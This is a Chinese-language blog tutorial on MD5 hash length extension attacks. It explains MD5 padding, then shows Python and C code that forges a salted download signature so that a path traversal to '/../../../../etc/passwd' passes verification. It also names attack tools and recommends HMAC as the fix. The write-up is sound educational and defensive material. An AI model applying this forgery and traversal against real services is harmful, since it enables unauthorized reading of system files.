哈希长度扩展攻击 - lightless blog

首先推荐一篇文章，讲的很清楚的：https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

0x01 从一个问题开始

假设我们发现了这样的一个下载文件的接口：

/download?name=test.pdf&sig=6543109bb53887f7bb46fe424f26e24a

经过测试发现，sig可能是这个文件的某种校验签名，如果想通过这个接口下载其他文件就会失败，因为sig校验不过。同时还会发现md5(name) !== sig，很明显在校验算法中添加了盐，如果我们想下载任意的文件比如test.pdf%00/../../../../etc/passwd，正常情况下是没办法的，因为有盐，所以我们无法构造自己的签名值，但是如果服务端使用了类似下面的校验代码，那么就会存在被绕过的风险。

if ($sig === md5($salt.$name))

0x02 深入到hash函数

这里我们用md5函数作为例子。关于md5的详细实现可以参考RFC1321：https://www.ietf.org/rfc/rfc1321.txt
先来简单说说md5的算法，在计算的时候会初始化四个寄存器A、B、C、D，分别有自己的初始值：

word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10

通过RFC文档我们可以知道，md5算法是以512bit为一个块进行迭代计算的，第一个块计算完后，四个寄存器的值就会被更新，如果还存在下一个块，就会在现在四个寄存器里面的数值的基础上继续迭代计算，等全部的块计算完成后，四个寄存器中的十六进制连接起来，就是最终的MD5值。
换句话说，也就是当第一个块计算完成后，此时四个寄存器中存储的就是第一个块的MD5值，接着在这个基础上继续迭代计算下一个块。
那么现在一个很重要的问题就是：当数据的长度不足512bits的时候，怎么进行MD5计算。
引用一下RFC中的说明：

3.1 Step 1. Append Padding Bits
The message is "padded" (extended) so that its length (in bits) is
congruent to 448, modulo 512. That is, the message is extended so
that it is just 64 bits shy of being a multiple of 512 bits long.
Padding is always performed, even if the length of the message is
already congruent to 448, modulo 512.

Padding is performed as follows: a single "1" bit is appended to the
message, and then "0" bits are appended so that the length in bits of
the padded message becomes congruent to 448, modulo 512. In all, at
least one bit and at most 512 bits are appended.

3.2 Step 2. Append Length

A 64-bit representation of b (the length of the message before the
padding bits were added) is appended to the result of the previous
step. In the unlikely event that b is greater than 2^64, then only
the low-order 64 bits of b are used. (These bits are appended as two
32-bit words and appended low-order word first in accordance with the
previous conventions.)

At this point the resulting message (after padding with bits and with
b) has a length that is an exact multiple of 512 bits. Equivalently,
this message has a length that is an exact multiple of 16 (32-bit)
words. Let M[0 ... N-1] denote the words of the resulting message,
where N is a multiple of 16.

RFC文档已经说的已经很明白了，如果当前的数据长度不满足对512bit求余为448bit的时候，需要补至满足这个条件，填充的方法如下：

首先补一个1（二进制位上的一个1，不是十进制的1）
接着在后面补0（同样是二进制位上的0），直到满足比特长度对512求余为448这个条件。
接着补64bit的长度，这个长度是在补1和0以前的长度，如果长度超出了64bit，那么就取低64bit。
换句话说：补完的一个块可能是这个样子的：

raw_data + '\x80' + '\x00'*n + '\x00\x00\x00\x00\x00\x00\x00\x00'

第一个raw_data的部分就是原始的数据，第二个部分'\x80'是一开始补的一个二进制位1，接着补若干个\x00，直到整个长度达到56Byte，最后的8Byte就是raw_data的长度，如果raw_data的长度超过了2^64bit，则取低64bit.

然而MD5算法中的补位的这部分，就是实现长度扩展攻击的关键。

0x03 长度扩展攻击的原理

现在回到我们一开始抛出的那个下载文件的例子上，通过长度扩展攻击，我们可以利用md5的一些trick绕过这个限制。这个问题实际上变成了：如何在不知道salt/key/secret的情况下，计算出一个文件名的合法hash值。

这里我用Python编写了一段测试代码：

def create_mac(key, filename):
    result = hashlib.md5(key+filename).hexdigest()
    return result


def check_mac(key, filename, user_mac):
    t = hashlib.md5(key+filename).hexdigest()
    print("user imput token: " + t)
    if user_mac == hashlib.md5(key+filename).hexdigest():
        return True
    else:
        return False

有两个函数，其中create_mac是用来生成对一个文件的签名值的，check_mac是验证用户提供的token和文件名是否合法。我们先来计算一对合法的文件名和token。

key = "secret_key"
filename = "test.pdf"
web_hash = create_mac(key, filename)
print("correct raw hash: " + web_hash)

然后我们得到了一对合法的数据：test.pdf -> 6543109bb53887f7bb46fe424f26e24a，如果这个时候我们通过check_mac函数进行校验，肯定是通过的：

check_mac(key, filename, web_hash) == True

实施攻击的第一步，就是将test.pdf的这个部分，补足到64Byte。

len(secret) + len("test.pdf") + len(padding) + 8 == 64

假设我们已经知道了secret的长度是10，那么可以计算出，padding的长度是64-8-10-8;这个padding中，第一个字节是"\x80"，所以补0的长度是64-8-10-8-1=37。所以我们的例子就会被补成这个样子：

secret + "test.pdf" + "\x80" + "\x00"*37 + "\x90\x00\x00\x00\x00\x00\x00\x00"

最后的8byte是len(secret+"test.pdf")，换成16进制就是\x90。这个长度已经是64Byte了，所以如果再向后面附加内容，那么就是一个新的计算块开始了。这段过程用代码写出来：

fake_filename = "test.pdf{padding}"
padding = "\x80{zero}\x90\x00\x00\x00\x00\x00\x00\x00".format(zero="\x00"*(56-18-1))
fake_filename = fake_filename.format(padding=padding) + "/../../../../etc/passwd"
# print(fake_filename)
print("fake_filename length: " + str(len(fake_filename)))

到这里，我们的文件名已经伪造完成了，下一步的工作就是伪造一个合法的hash值。

0x04 伪造hash值

通过前面对md5算法的了解，我们知道，当一个块计算完成后，ABCD四个寄存器中的值就是刚计算完的hash值，如果后面还有数据块，那么会在已有的ABCD四个寄存器中的值上进行更新。

那么如果我们将ABCD四个寄存器中的值设置为test.pdf对应的hash值，那么就相当于MD5的计算过程中，已经完成了对前一个块的计算，接着向下计算就可以了。这里我借用C语言写了一段代码：

#include <stdio.h>
#include <openssl/md5.h>

int main(int argc, const char *argv[])
{
  int i;
  unsigned char buffer[MD5_DIGEST_LENGTH];
  MD5_CTX c;

  MD5_Init(&c);
  MD5_Update(&c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);
  c.A = 0x9b104365;
  c.B = 0xf78738b5;
  c.C = 0x42fe46bb;
  c.D = 0x4ae2264f;
  MD5_Update(&c, "/../../../../etc/passwd", 23);

  MD5_Final(buffer, &c);
  for (i = 0; i < 16; i++) {
    printf("%02x", buffer[i]);
  }
  printf("\n");
  return 0;
}

里面的64个A无所谓是什么，只是为了让MD5进行一个块的计算，然后我们将四个寄存器中的值改掉，注意大小端。然后计算附加数据的MD5。

lightless@ubuntu:~$ cc -o hashattack hashattack.c -lssl -lcrypto
lightless@ubuntu:~$ ./hashattack
4560709f50239252b68c75d2ec08f436

到此，我们的哈希也已经伪造完成，看一下最终的结果。

result = check_mac(key, fake_filename, "4560709f50239252b68c75d2ec08f436")
print("Fake filename and token chekc result: " + str(result))

输出Fake filename and token chekc result: True，已经成功绕过了这个限制。

0x05 思考

场景的话最容易想到的就是我在文章一开始提出的例子，下载文件的场景。除此之外，还有一种可能就是身份验证的时候，不过果然还是常见于CTF呀。

这种攻击网上已经有了很多的工具，例如https://github.com/iagox86/hash_extender、hashpump等，这里就不仔细说工具的使用方法了。

修复的话可以采用：hash($SECRET, hash($message))的方式，这样用户是不可控message的，当然HMAC也是可以的。